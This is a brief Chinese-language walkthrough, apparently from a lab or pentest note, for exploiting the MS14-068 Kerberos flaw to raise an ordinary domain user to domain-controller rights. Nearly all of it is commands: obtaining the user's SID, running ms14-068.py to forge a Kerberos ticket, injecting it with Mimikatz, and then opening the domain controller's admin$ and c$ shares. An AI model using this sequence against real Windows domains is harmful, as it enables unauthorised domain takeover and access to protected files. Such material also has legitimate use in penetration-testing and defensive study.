将普通域用户权限提升为域控权限
（漏洞利用后，netuse \\swg.server.com\c$可以直接访问域控的网络资源
Vulnerability reference:
域管理员:DCwin03 域名:demo.com 普通域用户:hx
登录普通域用户hx，cmd中输入"whoami/user"获取sid
demo/hx S-1-5-21-3813283032-1038476579-1047458262-1110
退出域用户hx，登录本地用户123
python ms14-068.py -u [email protected] -p pwd_of_hx -s S-1-5-21-3813283032-1038476579-1047458262-1110 -d DCwin03.demo.com
c:\User\123>Mimikatz.exe "kerberos::ptc [email protected]" exit
net use \\DCwin03\admin$
dir \\DCwin03\c$